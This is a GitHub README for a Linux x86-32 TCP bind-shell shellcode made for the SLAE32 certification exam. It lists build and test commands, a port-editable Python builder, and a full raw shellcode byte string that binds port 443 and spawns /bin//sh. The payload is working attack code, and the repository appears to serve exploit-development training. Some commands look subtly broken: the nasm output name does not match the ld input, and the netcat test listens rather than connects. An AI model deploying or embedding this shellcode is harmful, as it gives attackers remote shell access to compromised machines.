Skip to content

DarkCoderSc/tcp-bindshell-shellcode-slae32

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Student ID: SLAE-1530

TCP Bindshell (Linux x86-32) - SLAE32 Certification Exam

  • Target : Linux x86-32
  • NULL Free
  • Tested on : Ubuntu 18.04.04
  • TCP Port Editable (Python Script)
  • Manual stack manipulation (no push/pop) but size heavy.

Blog post about creation of that Shellcode : https://phrozen.io/docs/linux/slae32/ex1-bindshell/

Build Shellcode from NASM file

nasm -f elf32 -o bindshell.nasm

ld bindshell.o -o bindshell

Test program

nc -lvp 443

Then

./bindshell

Build Shellcode from Python Builder`

python3 shellcode_builder.py <port_number>

RAW Shellcode (TCP Port = 443)

\x89\xe5\x31\xc0\x31\xdb\x31\xd2\x31\xf6\x31\xc9\xb1\x1e\x50\xe2
\xfd\x89\xec\xb3\x01\xc6\x44\x24\xf8\x01\xc6\x44\x24\xf4\x02\x83
\xec\x0c\x89\xe1\xb0\x66\xcd\x80\x89\xc6\x31\xc0\x80\xc3\x0d\xc6
\x44\x24\xfc\x04\x83\xec\x04\x89\x64\x24\xfc\xc6\x44\x24\xf8\x02
\xc6\x44\x24\xf4\x01\x89\x74\x24\xf0\x83\xec\x10\x89\xe1\xb0\x66
\xcd\x80\x31\xc0\x80\xeb\x0c\xb0\x01\xb4\xbb\x66\x89\x44\x24\xf2
\xc6\x44\x24\xf0\x02\x31\xc0\xb0\x10\x29\xc4\xc6\x44\x24\xfc\x10
\x89\x64\x24\xf8\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\x31\xc0\xb0
\x66\xcd\x80\x80\xc3\x02\x89\x74\x24\xf8\x83\xec\x08\x89\xe1\xb0
\x66\xcd\x80\xfe\xc3\x89\x74\x24\xf4\x83\xec\x0c\x89\xe1\xb0\x66
\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\xfe\xc1\x80\xf9
\x02\x7e\xf3\x31\xc0\x31\xdb\x31\xc9\xc7\x44\x24\xf8\x2f\x2f\x73
\x68\xc7\x44\x24\xf4\x2f\x62\x69\x6e\x83\xec\x0c\x89\xe3\x83\xec
\x04\x89\xe2\x89\x5c\x24\xfc\x83\xec\x04\x89\xe1\xb0\x0b\xcd\x80

About

TCP Bindshell Shellcode + Builder (SLAE32 Certification Exam)

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published